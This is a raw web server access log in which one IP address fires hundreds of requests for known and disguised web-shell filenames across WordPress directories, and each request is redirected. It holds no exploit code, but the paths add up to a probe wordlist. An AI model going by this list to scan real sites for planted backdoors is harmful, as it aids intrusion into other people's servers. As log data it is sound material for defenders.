206.189.247.132 - - [23/Sep/2025:13:47:06 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:13:43:36 -0400] "GET /class-wp-customize-sidebar-section-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:39 -0400] "GET /class-wp-editor-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:53 -0400] "GET /ms-pie.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:09 -0400] "GET /feed-rdf-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:19 -0400] "GET /block-editor.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:32 -0400] "GET /.ini.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:34 -0400] "GET /gfhyetafwp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:37 -0400] "GET /class-wp-customize-theme-panel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:42 -0400] "GET /class-wp-image-editor-gd-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:47 -0400] "GET /class-wp-widget-area-customize-control-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:51 -0400] "GET /class-wp-simplepie-file.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:07 -0400] "GET /2sIN7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:10 -0400] "GET /_generaltimemachine.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:12 -0400] "GET /category-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:14 -0400] "GET /theme-templates-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:17 -0400] "GET /class-wp-customize-widgets-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:19 -0400] "GET /3P7o9C.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:21 -0400] "GET /class-wp-customize-theme-control-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:25 -0400] "GET /m1YWC.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:27 -0400] "GET /lanxie.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:30 -0400] "GET /2y4m7.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:40 -0400] "GET /main.min.css.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:43 -0400] "GET /1jGQD.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:49 -0400] "GET /wp-signup.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:59 -0400] "GET /pn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:03 -0400] "GET /Mtir.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:07 -0400] "GET /custom-background.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:21 -0400] "GET /Diff-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:24 -0400] "GET /Cookie-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:34 -0400] "GET /Hooker-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:36 -0400] "GET /saxvxnxx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:44 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:52 -0400] "GET /4W1eE.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:56 -0400] "GET /content-post.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:58 -0400] "GET /class-wp-customize-nav-menus-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:01 -0400] "GET /feal.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:11 -0400] "GET /SSL-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:15 -0400] "GET /class-wp-http-requests-hooks-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:19 -0400] "GET /class-wp-customize-date-time-control-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:25 -0400] "GET /ms-files.php HTTP/1.1" 301 795 "-" "-"
146.190.11.185 - - [23/Sep/2025:13:47:07 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:13:47:08 -0400] "GET /class-wp-customize-background-image-control.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:13 -0400] "GET /class-wp-locale-switcher-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:21 -0400] "GET /handler.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:31 -0400] "GET /dx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:34 -0400] "GET /about.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:36 -0400] "GET /RbVgR.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:38 -0400] "GET /tsmailer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:41 -0400] "GET /wp-samp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:43 -0400] "GET /wp-feed.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:54 -0400] "GET /CzsanM9U68r.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:11 -0400] "GET /modules.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:14 -0400] "GET /footer-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:20 -0400] "GET /3YSy2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:26 -0400] "GET /gurl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:28 -0400] "GET /class-wp-customize-background-position-control-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:35 -0400] "GET /4O4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:48 -0400] "GET /Home.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:53 -0400] "GET /indoex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:58 -0400] "GET /random_bytes_libsodium-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:01 -0400] "GET /footer-embed-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:04 -0400] "GET /lfx.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:06 -0400] "GET /class-wp-block-parser-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:10 -0400] "GET /class-wp-oembed-controller-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:19 -0400] "GET /Media.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:41 -0400] "GET /Exception-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:46 -0400] "GET /helpers_apie.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:52 -0400] "GET /09asoonsmeba.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:01 -0400] "GET /class-wp-text-diff-renderer-table-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:07 -0400] "GET /module.audio.flac-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:12 -0400] "GET /class-wp-customize-nav-menu-name-control-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:14 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:19 -0400] "GET /pluggable-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:26 -0400] "GET /filterr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:36 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:39 -0400] "GET /.well-known/pki-validation/esxpnejb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:44 -0400] "GET /cgi-bin/test/fxvucpiw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:47 -0400] "GET /wp-includes/rest-api/endpoints/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:51 -0400] "GET /wp-content/uploads/2014/admin-filters.php HTTP/1.1" 301 795 "-" "-"
193.239.84.56 - - [23/Sep/2025:13:47:26 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:13:47:27 -0400] "GET /v22.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:47 -0400] "GET /page.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:51 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:59 -0400] "GET /class-wp-sitemaps-provider-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:04 -0400] "GET /IPv6-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:06 -0400] "GET /gzdecode-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:17 -0400] "GET /class-wp-customize-new-menu-section-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:23 -0400] "GET /random_bytes_dev_urandom-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:31 -0400] "GET /class-wp-fatal-error-handler-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:33 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:37 -0400] "GET /naz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:39 -0400] "GET /adrianaWP.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:43 -0400] "GET /jss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:45 -0400] "GET /ilb5D.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:51 -0400] "GET /ExcelScript.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:48:55 -0400] "GET /class-IXR-value-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:16 -0400] "GET /class-wp-rest-request-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:22 -0400] "GET /embed-mwvHqj.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:27 -0400] "GET /class-wp-customize-date-time-control-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:33 -0400] "GET /class-wp-customize-date-time-control-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:38 -0400] "GET /mdtl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:44 -0400] "GET /1591228353-up.php_.pdf HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:49 -0400] "GET /htmlspecialcmhars_decode.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:49:58 -0400] "GET /module.audio-video.flv-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:05 -0400] "GET /grpdocs-dialog.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:24 -0400] "GET /smek.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:29 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:32 -0400] "GET /wp-includes/class-wp-upgrade.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:36 -0400] "GET /.well-known/pki-validation/blvivutd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:39 -0400] "GET /wp-admin/includes/CLS.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:44 -0400] "GET /cgi-bin/test/b.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:44 -0400] "GET /assets/far.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:51 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:51 -0400] "GET /wp-includes/46829484.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:13 -0400] "GET /cgi-bin/test/cszsdsjt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:20 -0400] "GET /.well-known/pki-validation/csdnyeef.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:20 -0400] "GET /wp-admin/yrtbfd/sdvfsdbfd/options-privacy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:27 -0400] "GET /wp-includes/class-wp-filesystem-http.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:30 -0400] "GET /wp-includes/hbhbrdryld.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:39 -0400] "GET /images/6/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:46 -0400] "GET /cgi-bin/test/zuwkxhaa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:46 -0400] "GET /wp-includes/css/network.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:57 -0400] "GET /wp-content/uploads/2018/12/wso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:01 -0400] "GET /wp-content/uploads/2018/03/ab.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:02 -0400] "GET /wp-includes/js/tinymce/wp-mce-help.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:17 -0400] "GET /wp-admin/Vu2m3oitwaf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:24 -0400] "GET /wp-content/uploads/archieving.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:24 -0400] "GET /wp-content/uploads/2019/06/alfanew.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:24 -0400] "GET /.well-known/pki-validation/bro.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:24 -0400] "GET /wp-content/uploads/2023/05/230528042216pm203441a.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:28 -0400] "GET /.well-known/pxcxkpdpff.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:31 -0400] "GET /images/image/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:33 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:37 -0400] "GET /wp-includes/css/dist/block-directory/wp-inda.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:45 -0400] "GET /wp-content/uploads/2016/11/circular.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:45 -0400] "GET /wp-admin/1iboQUesqTh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:57 -0400] "GET /wp-includes/ID3/about.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:01 -0400] "GET /.well-known/pki-validation/az.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:01 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:12 -0400] "GET /wp-admin/user/kontol.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:17 -0400] "GET /wp-content/plugins/akismet/views/simple.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:17 -0400] "GET /wp-admin/2cF3XogWMPj.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:23 -0400] "GET /wp-content/uploads/2023/07/mar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:23 -0400] "GET /wp-content/plugins/djykfvd/ayogjayd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:23 -0400] "GET /wp-content/uploads/2023/07/wp-header.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:23 -0400] "GET /wp-content/uploads/2020/09/autoload_classmap.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:23 -0400] "GET /wp-includes/ID3/b.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:31 -0400] "GET /wp-content/uploads/2013/06/wp-find.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:34 -0400] "GET /wp-content/uploads/2023/03/wp-class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:34 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:34 -0400] "GET /.well-known/pki-validation/gmygrpmg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:41 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:45 -0400] "GET /wp-content/uploads/2016/03/wp-admin-block.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:51 -0400] "GET /wp-content/plugins/stats/config.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:50:57 -0400] "GET /wp-includes/js/crop/shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:02 -0400] "GET /wp-admin/css/colors/light/wp-crons.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:13 -0400] "GET /wp-content/uploads/2023/05/admin-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:13 -0400] "GET /wp-content/404.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:13 -0400] "GET /wp-content/uploads/2021/09/wp-class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:14 -0400] "GET /.well-known/lucdfzfu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:20 -0400] "GET /wp-content/uploads/help.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:36 -0400] "GET /wp-includes/Requests/Response/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:39 -0400] "GET /wp-content/uploads/2014/06/heysrv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:42 -0400] "GET /cgi-bin/test/wegjcskw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:42 -0400] "GET /wp-includes/class-snoopye_wso.php.bk HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:46 -0400] "GET /wp-content/uploads/aullgxft.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:50 -0400] "GET /wp-includes/js/crop/wp-admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:53 -0400] "GET //.well-known/pki-validation/fwhqtgkd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:53 -0400] "GET /wp-includes/js/js.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:57 -0400] "GET /.well-known/pki-validation/bdarivac.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:57 -0400] "GET /wp-content/uploads/2016/wp-signup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:57 -0400] "GET /.well-known/pki-validation/fknlfosy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:51:57 -0400] "GET /wp-includes/images/wlw/showhide.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:07 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:13 -0400] "GET /assets/fonts/flame.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:24 -0400] "GET /wp-content/uploads/2023/cong.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:24 -0400] "GET /images/icons/thumb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:28 -0400] "GET /wp-content/uploads/thumb-temp/07f38111ee80644777fb2ae116296374.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:40 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:45 -0400] "GET /wp-content/uploads/2019/03/wp-atom.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:52:53 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:05 -0400] "GET /wp-admin/images/cdknvxsw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:28 -0400] "GET /wp-includes/css/.css.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:31 -0400] "GET /wp-includes/Requests/Cookie/class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:34 -0400] "GET /assets/oemtgzud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:38 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:49 -0400] "GET /wp-includes/Requests/Utility/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:53 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:56 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:45 -0400] "GET /wp-content/uploads/2023/04/min-1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:45 -0400] "GET /images/profiles/cyber.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:48 -0400] "GET /.well-known/pki-validation/erryefwy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:48 -0400] "GET /wp-content/uploads/2021/09/date.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:49 -0400] "GET /wp-content/uploads/2021/12/fobbtqrl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:49 -0400] "GET /wp-content/uploads/4pric.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:07 -0400] "GET /wp-includes/js/tinymce/themes/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:12 -0400] "GET /wp-content/uploads/2016/04/12998727_1031915473541646_1029001644556292024_n-75x42.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:12 -0400] "GET /wp-includes/js/mediaelement/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:15 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:24 -0400] "GET /wp-content/uploads/2018/dir/ZszSXRlE.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:29 -0400] "GET /wp-content/themes/glass.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:29 -0400] "GET /wp-content/uploads/2021/03/wp-config-samples.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:37 -0400] "GET /wp-includes/css/dist/v9.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:42 -0400] "GET /wp-content/plugins/classic-editor/3so.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:20 -0400] "GET /assets/images/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:24 -0400] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:36 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:53:56 -0400] "GET /images/bro.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:02 -0400] "GET /wp-includes/Text/alfapas.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:05 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:09 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:12 -0400] "GET /wp-content/uploads/spip/tif/ix.php.PhP HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:24 -0400] "GET /wp-includes/Text/Diff/dskhboktxl.php HTTP/1.1" 301 795 "-" "-"
